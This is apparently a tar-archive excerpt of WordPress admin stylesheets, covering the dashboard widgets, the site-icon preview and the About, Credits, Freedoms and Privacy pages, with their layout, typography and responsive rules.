display: inline; } #latest-comments #the-comment-list .comment-item p.row-actions { margin: 3px 0 0; padding: 0; font-size: 13px; } /* Feeds */ .rss-widget ul { margin: 0; padding: 0; list-style: none; } a.rsswidget { font-size: 13px; font-weight: 600; line-height: 1.4; } .rss-widget ul li { line-height: 1.5; margin-bottom: 12px; } .rss-widget span.rss-date { color: #646970; font-size: 13px; margin-right: 3px; } .rss-widget cite { display: block; text-align: left; margin: 0 0 1em; padding: 0; } .rss-widget cite:before { content: "\2014"; content: "\2014" / ''; } .dashboard-comment-wrap { word-wrap: break-word; } /* Browser Nag */ #dashboard_browser_nag a.update-browser-link { font-size: 1.2em; font-weight: 600; } #dashboard_browser_nag a { text-decoration: underline; } #dashboard_browser_nag p.browser-update-nag.has-browser-icon { padding-left: 128px; } #dashboard_browser_nag .browser-icon { margin-top: -32px; } #dashboard_browser_nag.postbox { background-color: #b32d2e; background-image: none; border-color: #b32d2e; color: #fff; box-shadow: none; } #dashboard_browser_nag.postbox h2 { border-bottom-color: transparent; background: transparent none; color: #fff; box-shadow: none; } #dashboard_browser_nag a { color: #fff; } #dashboard_browser_nag.postbox .postbox-header { border-color: transparent; } #dashboard_browser_nag h2.hndle { border: none; font-weight: 600; font-size: 20px; padding-top: 10px; } .postbox#dashboard_browser_nag p a.dismiss { font-size: 14px; } .postbox#dashboard_browser_nag p, .postbox#dashboard_browser_nag a, .postbox#dashboard_browser_nag p.browser-update-nag { font-size: 16px; } /* PHP Nag */ #dashboard_php_nag .dashicons-warning { color: #dba617; padding-left: 6px; } #dashboard_php_nag.php-no-security-updates .dashicons-warning, #dashboard_php_nag.php-version-lower-than-future-minimum .dashicons-warning { color: #d63638; } #dashboard_php_nag h2 { display: inline-block; } #dashboard_php_nag p { margin: 12px 0; } .bigger-bolder-text { font-weight: 600; font-size: 14px; } /* =Media Queries -------------------------------------------------------------- */ @media only screen and (min-width: 1600px) { .welcome-panel .welcome-panel-column-container { display: flex; justify-content: center; } .welcome-panel-column { width: 100%; max-width: 460px; } } /* one column on the dash */ @media only screen and (max-width: 799px) { #wpbody-content #dashboard-widgets .postbox-container { width: 100%; } #dashboard-widgets .meta-box-sortables { min-height: 0; } .is-dragging-metaboxes #dashboard-widgets .meta-box-sortables { min-height: 100px; } #dashboard-widgets .meta-box-sortables.empty-container { margin-bottom: 0; } } /* two columns on the dash, but keep the setting if one is selected */ @media only screen and (min-width: 800px) and (max-width: 1499px) { #wpbody-content #dashboard-widgets .postbox-container { width: 49.5%; } #wpbody-content #dashboard-widgets #postbox-container-2, #wpbody-content #dashboard-widgets #postbox-container-3, #wpbody-content #dashboard-widgets #postbox-container-4 { float: left; width: 50.5%; } #dashboard-widgets #postbox-container-3 .empty-container, #dashboard-widgets #postbox-container-4 .empty-container { border: none; height: 0; min-height: 0; margin-bottom: 0; display: none; } #dashboard-widgets #postbox-container-3 .empty-container:after, #dashboard-widgets #postbox-container-4 .empty-container:after { display: none; } #wpbody #wpbody-content #dashboard-widgets.columns-1 .postbox-container { width: 100%; } #wpbody #dashboard-widgets .metabox-holder.columns-1 .postbox-container .empty-container { border: none; height: 0; min-height: 0; margin-bottom: 0; } /* show the radio buttons for column prefs only for one or two columns */ .index-php .screen-layout, .index-php .columns-prefs { display: block; } .columns-prefs .columns-prefs-3, .columns-prefs .columns-prefs-4 { display: none; } #dashboard-widgets .postbox-container .empty-container:after { display: block; } } /* three columns on the dash */ @media only screen and (min-width: 1500px) and (max-width: 1800px) { #wpbody-content #dashboard-widgets .postbox-container { width: 33.5%; } #wpbody-content #dashboard-widgets #postbox-container-1 { width: 33%; } #wpbody-content #dashboard-widgets #postbox-container-3, #wpbody-content #dashboard-widgets #postbox-container-4 { float: left; } #dashboard-widgets #postbox-container-4 .empty-container { border: none; height: 0; min-height: 0; margin-bottom: 0; display: none; } #dashboard-widgets #postbox-container-4 .empty-container:after { display: none; } #dashboard-widgets .postbox-container .empty-container:after { display: block; } } /* Always show the "Drag boxes here" CSS generated content on large screens. */ @media only screen and (min-width: 1801px) { #dashboard-widgets .postbox-container .empty-container:after { display: block; } } @media screen and (max-width: 870px) { /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column li { display: inline-block; margin-left: 13px; } /* @deprecated 5.9.0 -- Lists removed from welcome panel. */ .welcome-panel .welcome-panel-column ul { margin: 0.4em 0 0; } } @media screen and (max-width: 1180px) and (min-width: 783px) { .welcome-panel-column { grid-template-columns: 1fr; } [class*="welcome-panel-icon"], .welcome-panel-column > svg { display: none; } } @media screen and (max-width: 782px) { .welcome-panel .welcome-panel-column-container { grid-template-columns: 1fr; box-sizing: border-box; padding: 32px; width: 100%; } .welcome-panel .welcome-panel-column-content { max-width: 520px; } /* Keep the close icon from overlapping the Welcome text. */ .welcome-panel .welcome-panel-close { overflow: hidden; text-indent: 40px; white-space: nowrap; width: 20px; height: 20px; padding: 5px; top: 5px; left: 5px; } .welcome-panel .welcome-panel-close::before { position: absolute; top: 5px; right: -35px; } #dashboard-widgets h2 { padding: 12px; } #dashboard_recent_comments #the-comment-list .comment-item .avatar { height: 30px; width: 30px; margin: 4px 0 5px 10px; } .community-events-toggle-location { height: 38px; vertical-align: baseline; } #community-events-submit { margin-bottom: 0; } .community-events-form label, #dashboard-widgets .community-events-cancel.button-link { /* Same properties as the submit button for cross-browsers alignment. */ font-size: 14px; line-height: normal; padding: 6px 0; border: 1px solid transparent; } } /* Smartphone */ @media screen and (max-width: 600px) { .welcome-panel-header { padding: 32px 32px 64px; } .welcome-panel-header-image { display: none; } } @media screen and (max-width: 480px) { .welcome-panel-column { gap: 16px; } } @media screen and (max-width: 360px) { .welcome-panel-column { grid-template-columns: 1fr; } [class*="welcome-panel-icon"], .welcome-panel-column > svg { display: none; } } @media screen and (min-width: 355px) { .community-events .event-info { display: table-row; float: right; max-width: 59%; } .event-icon, .event-icon[aria-hidden="true"] { display: table-cell; } .event-info-inner { display: table-cell; } .community-events .event-date-time { float: left; max-width: 39%; } .community-events .event-date, .community-events .event-time { text-align: left; } } css/site-icon.css 0000644 00000010773 15233246127 0007755 0 ustar 00 /*------------------------------------------------------------------------------ 28.0 - Site Icon ------------------------------------------------------------------------------*/ .site-icon-section { --site-icon-removal: #b32d2e; } .site-icon-preview { --site-icon-input-border: #8c8f94; --site-icon-preview-background: #fff; --site-icon-preview-browser-top: #dcdcde; --site-icon-preview-browser-bottom: #a7aaad; --site-icon-preview-browser-border: rgba(255, 255, 255, 0.2); --site-icon-address-bar-background: #f0f0f1; --site-icon-address-bar-close: #646970; --site-icon-address-bar-text: #3c434a; --site-icon-shadow-1: rgba(0, 0, 0, 0.1); --site-icon-shadow-2: rgba(0, 0, 0, 0.2); --site-icon-shadow-3: rgba(0, 0, 0, 0.5); direction: initial; display: flex; height: 60px; padding: 8px 0 0 8px; align-items: flex-start; position: relative; overflow: hidden; box-sizing: border-box; border: 1px solid var(--site-icon-input-border); border-radius: 4px; background-color: var(--site-icon-preview-background); width: 275px; } @media (prefers-color-scheme: dark) { .site-icon-preview { --site-icon-preview-browser-top: #2c3338; --site-icon-preview-browser-bottom: #111; --site-icon-address-bar-background: #3c434a; --site-icon-address-bar-close: #f0f0f1; --site-icon-address-bar-text: #f0f0f1; } } .site-icon-preview.settings { height: 88px; padding: 16px 0 0 16px; width: 350px; margin: 0 0 16px 0; } .site-icon-preview.crop { width: 258px; height: 100%; display: grid; grid-template-columns: 8px 1fr; grid-template-rows: 64px 1fr; padding-left: 0; row-gap: 16px; direction: inherit; } .site-icon-preview.hidden { display: none; } .site-icon-preview .direction-wrap { grid-template-columns: 44px 1fr; gap: 8px; display: grid; direction: ltr; height: 100%; width: 100%; } .site-icon-preview.settings .direction-wrap { grid-template-columns: 58px 1fr; gap: 16px; } .site-icon-preview:after { --after-size: 150%; aspect-ratio: 1/1; content: ""; display: block; position: absolute; top: 0; left: 0; width: var(--after-size);; transform: translate(calc(var(--after-size) * -0.125), calc(var(--after-size) * -0.125)); filter: blur(5px); opacity: 0.5; background: var(--site-icon-url); } .site-icon-preview .app-icon-preview { aspect-ratio: 1/1; border-radius: 10px; box-shadow: 0 1px 5px 0 var(--site-icon-shadow-3); flex-shrink: 0; width: 100%; z-index: 1; } .site-icon-preview-browser { display: flex; padding: 4px 4px 0 12px; align-items: flex-start; gap: 16px; flex: 1 0 0; z-index: 1; border-top-left-radius: 10px; border-top: 1px solid var(--site-icon-preview-browser-border); border-left: 1px solid var(--site-icon-preview-browser-border); background: linear-gradient(180deg, var(--site-icon-preview-browser-top) 0%, var(--site-icon-preview-browser-bottom) 100%); box-shadow: 0 10px 22px 0 var(--site-icon-shadow-2); } .site-icon-preview .browser-buttons { width: 48px; height: 40px; fill: var(--site-icon-input-border); } .site-icon-preview-tab { padding: 8px; align-items: center; gap: 8px; flex: 1 0 0; border-radius: 4px; background-color: var(--site-icon-address-bar-background); box-shadow: 0 1px 3px 0 var(--site-icon-shadow-1); display: grid; grid-template-columns: 24px auto 24px; } .site-icon-preview-browser .browser-icon-preview { box-shadow: 0 0 20px 0 var(--site-icon-shadow-1); } .site-icon-preview-tab > img, .site-icon-preview-tab > svg { width: 24px; height: 24px; } .site-icon-preview-tab > svg { fill: var(--site-icon-address-bar-close); } .site-icon-preview-site-title { color: var(--site-icon-address-bar-text); text-overflow: ellipsis; white-space: nowrap; overflow: hidden; font-weight: 500; } .site-icon-preview-crop-modal .image-preview-wrap.app-icon-preview { width: 64px; height: 64px; margin: 0; grid-column: 2; } .site-icon-preview-crop-modal .site-icon-preview-browser { grid-column: 2; } .site-icon-preview-crop-modal .image-preview-wrap { overflow: hidden; aspect-ratio: 1/1; } .site-icon-preview-crop-modal .image-preview-wrap.browser { width: 24px; height: 24px; } button.reset.remove-site-icon { color: var(--site-icon-removal); text-decoration: none; border-color: currentColor; box-shadow: none; background: transparent; } button.reset.remove-site-icon:focus, button.reset.remove-site-icon:hover { background: var(--site-icon-removal); color: #fff; border-color: var(--site-icon-removal); box-shadow: 0 0 0 1px var(--site-icon-removal); } .site-icon-action-buttons { display: flex; flex-wrap: wrap; gap: 10px; } css/about.css 0000644 00000067472 15233246127 0007205 0 ustar 00 /*------------------------------------------------------------------------------ 22.0 - About Pages 1.0 Global: About, Credits, Freedoms, Privacy, Get Involved 1.1 Layout 1.2 Typography & Elements 1.3 Header 2.0 Credits Page 3.0 Freedoms Page 4.0 Privacy Page x.2.0 Legacy About Styles: Global x.2.1 Typography x.2.2 Structure x.2.3 Point Releases x.3.0 Legacy About Styles: About Page x.3.1 Typography x.3.2 Structure x.4.0 Legacy About Styles: Credits & Freedoms Pages x.5.0 Legacy About Styles: Media Queries ------------------------------------------------------------------------------*/ .about__container { /* Section backgrounds */ --background: #ebe8e5; --subtle-background: #ebe8e5; /* Main text color */ --text: #1e1e1e; --text-light: #fff; /* Accent colors: used in header, on special classes. */ --accent-1: #3858e9; /* Link color */ --accent-2: #183ad6; /* Accent background */ --accent-3: #ececec; /* hr background */ /* Header background on small screens */ --accent-gradient: linear-gradient(90deg, #000000 4.7%, var(--accent-1) 83.84%)/*rtl:linear-gradient(-90deg, #000000 4.7%, var(--accent-1) 83.84%)*/; /* Navigation colors. */ --nav-background: #fff; --nav-border: transparent; --nav-color: var(--text); --nav-current: var(--accent-1); --border-radius: 0.5rem; --gap: 2rem; } /*------------------------------------------------------------------------------ 1.0 - Global: About, Credits, Freedoms, Privacy, Get Involved ------------------------------------------------------------------------------*/ .about-php, .credits-php, .freedoms-php, .privacy-php, .contribute-php { background: #fff; } .about-php #wpcontent, .credits-php #wpcontent, .freedoms-php #wpcontent, .privacy-php #wpcontent, .contribute-php #wpcontent { background: #fff; padding: 0 24px; } @media screen and (max-width: 782px) { .about-php.auto-fold #wpcontent, .credits-php.auto-fold #wpcontent, .freedoms-php.auto-fold #wpcontent, .privacy-php.auto-fold #wpcontent, .contribute-php.auto-fold #wpcontent { padding-left: 24px; } } .about__container { max-width: 1000px; margin: 24px auto; clear: both; } .about__container .alignleft { float: left; } .about__container .alignright { float: right; } .about__container .aligncenter { text-align: center; } .about__container .is-vertically-aligned-top { align-self: start; } .about__container .is-vertically-aligned-center { align-self: center; } .about__container .is-vertically-aligned-bottom { align-self: end; } .about__section { background: transparent; clear: both; } .about__container .has-accent-background-color { color: var(--text-light); background-color: var(--accent-2); } .about__container .has-transparent-background-color { background-color: transparent; } .about__container .has-accent-color { color: var(--accent-2); } .about__container .has-border { border: 3px solid currentColor; } .about__container .has-subtle-background-color { background-color: var(--subtle-background); border-radius: var(--border-radius); } .about__container .has-background-image { background-size: contain; background-repeat: no-repeat; background-position: center; } /* 1.1 - Layout */ .about__section { margin: 0; } .about__section .column:not(.is-edge-to-edge) { padding: var(--gap); } .about__section .column.is-left-padding-zero { padding-left: 0; } .about__section .column.is-right-padding-zero { padding-right: 0; } .about__section + .about__section .is-section-header { padding-bottom: var(--gap); } .about__section .column[class*="background-color"]:not(.is-edge-to-edge), .about__section:where([class*="background-color"]) .column:not(.is-edge-to-edge), .about__section .column.has-border:not(.is-edge-to-edge) { padding-top: var(--gap); padding-bottom: var(--gap); } .about__section .column p:first-of-type { margin-top: 0; } .about__section .column p:last-of-type { margin-bottom: 0; } .about__section .has-text-columns { columns: 2; column-gap: calc(var(--gap) * 2); } .about__section .is-section-header { margin-bottom: 0; padding: var(--gap) var(--gap) 0; } .about__section .is-section-header p:last-child { margin-bottom: 0; } /* Section header is alone in a container. */ .about__section .is-section-header:first-child:last-child { padding: 0; } .about__section.is-feature { padding: var(--gap); } .about__section.is-feature p { margin: 0; } .about__section.is-feature p + p { margin-top: calc(var(--gap) / 2); } .about__section.has-1-column { margin-left: auto; margin-right: auto; max-width: 36em; } .about__section.has-2-columns, .about__section.has-3-columns, .about__section.has-4-columns, .about__section.has-overlap-style { display: grid; } .about__section.has-gutters { gap: var(--gap); margin-bottom: var(--gap); } .about__section.has-2-columns { grid-template-columns: 1fr 1fr; } .about__section.has-2-columns.is-wider-right { grid-template-columns: 2fr 3fr; } .about__section.has-2-columns.is-wider-left { grid-template-columns: 3fr 2fr; } .about__section .is-section-header { grid-column-start: 1; grid-column-end: -1; } .about__section.has-3-columns { grid-template-columns: repeat(3, 1fr); } .about__section.has-4-columns { grid-template-columns: repeat(4, 1fr); } .about__section.has-overlap-style { grid-template-columns: repeat(7, 1fr); } .about__section.has-overlap-style .column { grid-row-start: 1; } .about__section.has-overlap-style .column:nth-of-type(2n+1) { grid-column-start: 2; grid-column-end: span 3; } .about__section.has-overlap-style .column:nth-of-type(2n) { grid-column-start: 4; grid-column-end: span 3; } .about__section.has-overlap-style .column.is-top-layer { z-index: 1; } @media screen and (max-width: 782px) { .about__section.has-2-columns.is-wider-right, .about__section.has-2-columns.is-wider-left, .about__section.has-3-columns { display: block; margin-bottom: calc(var(--gap) / 2); } .about__section .column:not(.is-edge-to-edge) { padding-top: var(--gap); padding-bottom: var(--gap); } .about__section.has-2-columns.has-gutters.is-wider-right, .about__section.has-2-columns.has-gutters.is-wider-left, .about__section.has-3-columns.has-gutters { margin-bottom: calc(var(--gap) * 2); } .about__section.has-2-columns.has-gutters .column, .about__section.has-2-columns.has-gutters .column, .about__section.has-3-columns.has-gutters .column { margin-bottom: var(--gap); } .about__section.has-2-columns.has-gutters .column:last-child, .about__section.has-2-columns.has-gutters .column:last-child, .about__section.has-3-columns.has-gutters .column:last-child { margin-bottom: 0; } .about__section.has-3-columns .column:nth-of-type(n) { padding-top: calc(var(--gap) / 2); padding-bottom: calc(var(--gap) / 2); } .about__section.has-4-columns { grid-template-columns: repeat(2, 1fr); } .about__section.has-overlap-style { grid-template-columns: 1fr; } /* At this size, the two columns fully overlap */ .about__section.has-overlap-style .column.column { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 2; } } @media screen and (max-width: 600px) { .about__section.has-2-columns { display: block; margin-bottom: var(--gap); } .about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n) { padding-top: calc(var(--gap) / 2); padding-bottom: calc(var(--gap) / 2); } .about__section.has-2-columns.has-gutters { margin-bottom: calc(var(--gap) * 2); } .about__section.has-2-columns.has-gutters .column { margin-bottom: var(--gap); } .about__section.has-2-columns.has-gutters .column:last-child { margin-bottom: 0; } .about__section .column.is-left-padding-zero { padding-right: 0; } .about__section .column.is-right-padding-zero { padding-left: 0; } } @media screen and (max-width: 480px) { .about__section.is-feature .column, .about__section .is-section-header { padding: 0; } .about__section.has-4-columns { display: block; padding-bottom: calc(var(--gap) / 2); } .about__section.has-4-columns.has-gutters .column { margin-bottom: calc(var(--gap) / 2); } .about__section.has-4-columns.has-gutters .column:last-child { margin-bottom: 0; } .about__section.has-4-columns .column:nth-of-type(n) { padding-top: calc(var(--gap) / 2); padding-bottom: calc(var(--gap) / 2); } } /* 1.2 - Typography & Elements */ .about__container { line-height: 1.4; color: var(--text); } .about__container h1 { padding: 0; } .about__container h1, .about__container h2, .about__container h3.is-larger-heading { margin-top: 0; margin-bottom: calc(0.5 * var(--gap)); font-size: 2rem; font-weight: 700; line-height: 1.16; } .about__container h3, .about__container h1.is-smaller-heading, .about__container h2.is-smaller-heading { margin-top: 0; margin-bottom: calc(0.5 * var(--gap)); font-size: 1.625rem; font-weight: 700; line-height: 1.4; } .about__container h4, .about__container h3.is-smaller-heading { margin-top: 0; font-size: 1.125rem; font-weight: 600; line-height: 1.6; } .about__container h1, .about__container h2, .about__container h3, .about__container h4 { text-wrap: pretty; color: inherit; } .about__container :is(h1, h2, h3, h4, .about__header-text):lang(en) { text-wrap: balance; } .about__container p { text-wrap: pretty; } .about__container p { font-size: inherit; line-height: inherit; } .about__container p.is-subheading { margin-top: 0; margin-bottom: 1rem; font-size: 1.5rem; font-weight: 300; line-height: 160%; } .about__section a { color: var(--accent-1); text-decoration: underline; } .about__section a:hover, .about__section a:active, .about__section a:focus { color: var(--accent-1); text-decoration: none; } .wp-credits-list a { text-decoration: none; } .wp-credits-list a:hover, .wp-credits-list a:active, .wp-credits-list a:focus { text-decoration: underline; } .about__section a.button.button-hero { padding-top: 1.1875rem; padding-bottom: 1.1875rem; font-size: 1.5rem; line-height: 1.4; white-space: normal; text-wrap: pretty; } .about__container ul { list-style: disc; margin-left: calc(var(--gap) / 2); } .about__container li { margin-bottom: 0.5rem; } .about__container img { margin: 0; max-width: 100%; vertical-align: middle; } .about__container .about__image { margin: 0; } .about__container .about__image img { max-width: 100%; width: 100%; height: auto; border-radius: var(--border-radius); } .about__container .about__image figcaption { margin-top: 0.5em; text-align: center; } .about__container .about__image .wp-video { margin-left: auto; margin-right: auto; } .about__container .about__image svg { vertical-align: middle; } .about__container .about__image + h3 { margin-top: calc(0.75 * var(--gap)); } .about__container hr { margin: calc(var(--gap) / 2) var(--gap); height: 0; border: none; border-top: 4px solid var(--accent-3); } .about__container hr.is-small { margin-top: 0; margin-bottom: 0; } .about__container hr.is-large { margin: var(--gap) auto; } .about__container hr.is-invisible { border: none; } .about__container div.updated, .about__container div.error, .about__container .notice { display: none !important; } .about__container code { font-size: inherit; } .about__section { font-size: 1.125rem; line-height: 1.55; } .about__section.is-feature { font-size: 1.6em; } .about__section.has-3-columns, .about__section.has-4-columns { font-size: 1rem; } @media screen and (max-width: 480px) { .about__section.is-feature { font-size: 1.4em; } .about__container h1, .about__container h2, .about__container h3.is-larger-heading { font-size: 2em; } } /* 1.3 - Header */ .about__header { position: relative; display: flex; flex-direction: column; align-items: flex-start; justify-content: flex-end; box-sizing: border-box; padding: calc(var(--gap) * 1.5); padding-right: 26rem; /* Space for the background image. */ min-height: clamp(10rem, 25vw, 18.75rem); border-radius: var(--border-radius); background-image: url( "../images/about-header-default.webp?ver=20260514" ); background-repeat: no-repeat; background-position: right center; background-size: cover; background-color: var(--background); color: var(--text-light); } .credits-php .about__header { background-image: url( "../images/about-header-credits.webp?ver=20260514" ); } .freedoms-php .about__header { background-image: url( "../images/about-header-freedoms.webp?ver=20260514" ); } .privacy-php .about__header { background-image: url( "../images/about-header-privacy.webp?ver=20260514" ); } .contribute-php .about__header { background-image: url( "../images/about-header-get-involved.webp?ver=20260514" ); } [dir="rtl"] .about__header { background-image: url( "../images/about-header-default-rtl.webp?ver=20260514" ); } [dir="rtl"] .credits-php .about__header { background-image: url( "../images/about-header-credits-rtl.webp?ver=20260514" ); } [dir="rtl"] .freedoms-php .about__header { background-image: url( "../images/about-header-freedoms-rtl.webp?ver=20260514" ); } [dir="rtl"] .privacy-php .about__header { background-image: url( "../images/about-header-privacy-rtl.webp?ver=20260514" ); } [dir="rtl"] .contribute-php .about__header { background-image: url( "../images/about-header-get-involved-rtl.webp?ver=20260514" ); } .about__header-image { margin: 0 0 calc(var(--gap) * 1.5); } .about__header-title { box-sizing: border-box; margin: 0; padding: 0; } .about__header-title h1 { margin: 0; padding: 0; /* Fluid font size scales on browser size 960px - 1200px. */ font-size: clamp(2rem, 20vw - 9rem, 4rem); line-height: 1; font-weight: 600; color: var(--text); } .about-php .about__header-title h1, .credits-php .about__header-title h1, .freedoms-php .about__header-title h1, .privacy-php .about__header-title h1, .contribute-php .about__header-title h1 { /* Fluid font size scales on browser size 960px - 1200px. */ font-size: clamp(2rem, 20vw - 9rem, 4rem); } .about__header-text { box-sizing: border-box; max-width: 26em; margin: 1rem 0 0; padding: 0; font-size: 1.6rem; line-height: 1.15; color: var(--text); } .about__header-navigation { position: relative; z-index: 1; display: flex; flex-wrap: wrap; justify-content: space-between; padding-top: 0; margin-bottom: var(--gap); background: var(--nav-background); color: var(--nav-color); border-bottom: 3px solid var(--nav-border); } .about__header-navigation::after { display: none; } .about__header-navigation .nav-tab { margin-left: 0; padding: calc(var(--gap) * 0.75) var(--gap); float: none; font-size: 1.4em; line-height: 1; border-width: 0 0 3px; border-style: solid; border-color: transparent; background: transparent; color: inherit; } .about__header-navigation .nav-tab:hover, .about__header-navigation .nav-tab:active { background-color: var(--nav-current); color: var(--text-light); border-radius: var(--border-radius); } .about__header-navigation .nav-tab-active { margin-bottom: -3px; color: var(--nav-current); border-width: 0 0 6px; border-color: var(--nav-current); } .about__header-navigation .nav-tab-active:hover, .about__header-navigation .nav-tab-active:active { background-color: var(--nav-current); color: var(--text-light); border-color: var(--nav-current); border-radius: var(--border-radius); } @media screen and (max-width: 960px) { .about__header { padding-right: 21rem; } .about-php .about__header-title h1, .credits-php .about__header-title h1, .freedoms-php .about__header-title h1, .privacy-php .about__header-title h1, .contribute-php .about__header-title h1 { /* Fluid font size scales on browser size 600px - 960px. */ font-size: clamp(2rem, 20vw - 9rem, 4rem); } .about__header-navigation .nav-tab { padding: calc(var(--gap) * 0.75) calc(var(--gap) * 0.5); } } @media screen and (max-width: 782px) { .about__container .about__header-text { font-size: 1.4em; } .about__header-container { display: block; } .about__header { padding: var(--gap); padding-right: 17rem; } .about__header-text { margin-top: 0.5rem; } .about__header-navigation .nav-tab { margin-top: 0; margin-right: 0; font-size: 1.2em; } } @media screen and (max-width: 600px) { .about__header { min-height: auto; padding-right: var(--gap); } .about__header-navigation { display: block; } .about__header-navigation .nav-tab { display: block; margin-bottom: 0; padding: calc(var(--gap) / 2); border-left-width: 6px; border-bottom: none; } .about__header-navigation .nav-tab-active { border-bottom: none; border-left-width: 6px; } } /*------------------------------------------------------------------------------ 2.0 - Credits Page ------------------------------------------------------------------------------*/ .about__section .wp-people-group-title { margin-bottom: calc(var(--gap) * 2 - 10px); text-align: center; } .about__section .wp-people-group { margin: 0; display: flex; flex-wrap: wrap; } .about__section .wp-person { display: inline-block; vertical-align: top; box-sizing: border-box; margin-bottom: calc(var(--gap) - 10px); width: 25%; text-align: center; } .about__section .compact .wp-person { height: auto; width: 20%; } .about__section .wp-person-avatar { display: block; margin: 0 auto calc(var(--gap) / 2); width: 140px; height: 140px; border-radius: 100%; overflow: hidden; } .about__section .wp-person .gravatar { width: 140px; height: 140px; filter: grayscale(100%); } .about__section .compact .wp-person-avatar, .about__section .compact .wp-person .gravatar { width: 80px; height: 80px; } .about__section .wp-person .web { display: block; font-size: 1.4em; font-weight: 600; padding: 10px 10px 0; text-decoration: none; } .about__section .wp-person .web:hover { text-decoration: underline; } .about__section .compact .wp-person .web { font-size: 1.2em; } .about__section .wp-person .title { display: block; margin-top: 0.5em; } @media screen and (max-width: 782px) { .about__section .wp-person { width: 33%; } .about__section .compact .wp-person { width: 25%; } .about__section .wp-person-avatar, .about__section .wp-person .gravatar { width: 120px; height: 120px; } } @media screen and (max-width: 600px) { .about__section .wp-person { width: 50%; } .about__section .compact .wp-person { width: 33%; } .about__section .wp-person .web { font-size: 1.2em; } } @media screen and (max-width: 480px) { .about__section .wp-person { min-width: 100%; } .about__section .wp-person .web { font-size: 1em; } .about__section .compact .wp-person .web { font-size: 1em; } } /*------------------------------------------------------------------------------ 3.0 - Freedoms Page ------------------------------------------------------------------------------*/ .about__section .column .freedom-image { margin-bottom: var(--gap); max-height: 180px; } /*------------------------------------------------------------------------------ 4.0 - Privacy Page ------------------------------------------------------------------------------*/ .about__section .column .privacy-image { display: block; margin-left: auto; margin-right: auto; max-width: 25rem; } /*------------------------------------------------------------------------------ x.2.0 - Legacy About Styles: Global ------------------------------------------------------------------------------*/ .about-wrap { position: relative; margin: 25px 40px 0 20px; max-width: 1050px; /* readability */ font-size: 15px; } .about-wrap.full-width-layout { max-width: 1200px; } .about-wrap-content { max-width: 1050px; } .about-wrap div.updated, .about-wrap div.error, .about-wrap .notice { display: none !important; } .about-wrap hr { border: 0; height: 0; margin: 3em 0 0; border-top: 1px solid rgba(0, 0, 0, 0.1); } .about-wrap img { margin: 0; width: 100%; height: auto; vertical-align: middle; } .about-wrap .inline-svg img { max-width: 100%; width: auto; height: auto; } .about-wrap video { margin: 1.5em auto; } /* WordPress Version Badge */ .wp-badge { background: #0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat; background-position: center 25px; background-size: 80px 80px; color: #fff; font-size: 14px; text-align: center; font-weight: 600; margin: 5px 0 0; padding-top: 120px; height: 40px; display: inline-block; width: 140px; text-rendering: optimizeLegibility; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2); } .svg .wp-badge { background-image: url(../images/wordpress-logo-white.svg?ver=20160308); } .about-wrap .wp-badge { position: absolute; top: 0; right: 0; } /* Tabs */ .about-wrap .nav-tab { padding-right: 15px; padding-left: 15px; font-size: 18px; line-height: 1.33333333; } /* x.2.1 - Typography */ .about-wrap h1 { margin: 0.2em 200px 0 0; padding: 0; color: #32373c; line-height: 1.2; font-size: 2.8em; font-weight: 400; } .about-wrap h2 { margin: 40px 0 0.6em; font-size: 2.7em; line-height: 1.3; font-weight: 300; text-align: center; } .about-wrap h3 { margin: 1.25em 0 0.6em; font-size: 1.4em; line-height: 1.5; } .about-wrap h4 { font-size: 16px; color: #23282d; } .about-wrap p { line-height: 1.5; font-size: 16px; } .about-wrap code, .about-wrap ol li p { font-size: 14px; font-weight: 400; } .about-wrap figcaption { font-size: 13px; text-align: center; color: white; text-overflow: ellipsis; } .about-wrap .about-description, .about-wrap .about-text { margin-top: 1.4em; font-weight: 400; line-height: 1.6; font-size: 19px; } .about-wrap .about-text { margin: 1em 200px 1em 0; color: #555d66; } /* x.2.2 - Structure */ .about-wrap .has-1-columns, .about-wrap .has-2-columns, .about-wrap .has-3-columns, .about-wrap .has-4-columns { display: grid; max-width: 800px; margin-top: 40px; margin-left: auto; margin-right: auto; } .about-wrap .column { margin-right: 20px; margin-left: 20px; } .about-wrap .is-wide { max-width: 760px; } .about-wrap .is-fullwidth { max-width: 100%; } .about-wrap .has-1-columns { display: block; max-width: 680px; margin: 0 auto 40px; } .about-wrap .has-2-columns { grid-template-columns: 1fr 1fr; } .about-wrap .has-2-columns .column:nth-of-type(2n+1) { grid-column-start: 1; } .about-wrap .has-2-columns .column:nth-of-type(2n) { grid-column-start: 2; } .about-wrap .has-2-columns.is-wider-right { grid-template-columns: 1fr 2fr; } .about-wrap .has-2-columns.is-wider-left { grid-template-columns: 2fr 1fr; } .about-wrap .has-3-columns { grid-template-columns: repeat(3, 1fr); } .about-wrap .has-3-columns .column:nth-of-type(3n+1) { grid-column-start: 1; } .about-wrap .has-3-columns .column:nth-of-type(3n+2) { grid-column-start: 2; } .about-wrap .has-3-columns .column:nth-of-type(3n) { grid-column-start: 3; } .about-wrap .has-4-columns { grid-template-columns: repeat(4, 1fr); } .about-wrap .has-4-columns .column:nth-of-type(4n+1) { grid-column-start: 1; } .about-wrap .has-4-columns .column:nth-of-type(4n+2) { grid-column-start: 2; } .about-wrap .has-4-columns .column:nth-of-type(4n+3) { grid-column-start: 3; } .about-wrap .has-4-columns .column:nth-of-type(4n) { grid-column-start: 4; } .about-wrap .column :first-child { margin-top: 0; } .about-wrap .aligncenter { text-align: center; } .about-wrap .alignleft { float: left; margin-right: 40px; } .about-wrap .alignright { float: right; margin-left: 40px; } .about-wrap .is-vertically-aligned-top { align-self: flex-start; } .about-wrap .is-vertically-aligned-center { align-self: center; } .about-wrap .is-vertically-aligned-bottom { align-self: end; } /* x.2.3 - Point Releases */ .about-wrap .point-releases { margin-top: 5px; border-bottom: 1px solid #ddd; } .about-wrap .changelog { margin-bottom: 40px; } .about-wrap .changelog.point-releases h3 { padding-top: 35px; } .about-wrap .changelog.point-releases h3:first-child { padding-top: 7px; } .about-wrap .changelog.feature-section .col { margin-top: 40px; } /*------------------------------------------------------------------------------ x.3.0 - Legacy About Styles: About Page ------------------------------------------------------------------------------*/ /* x.3.1 - Typography */ .about-wrap .lead-description { font-size: 1.5em; text-align: center; } .about-wrap .feature-section p { margin-top: 0.6em; } /* x.3.2 - Structure */ .about-wrap .headline-feature { margin: 0 auto 40px; max-width: 680px; } .about-wrap .headline-feature h2 { margin: 50px 0 0; } 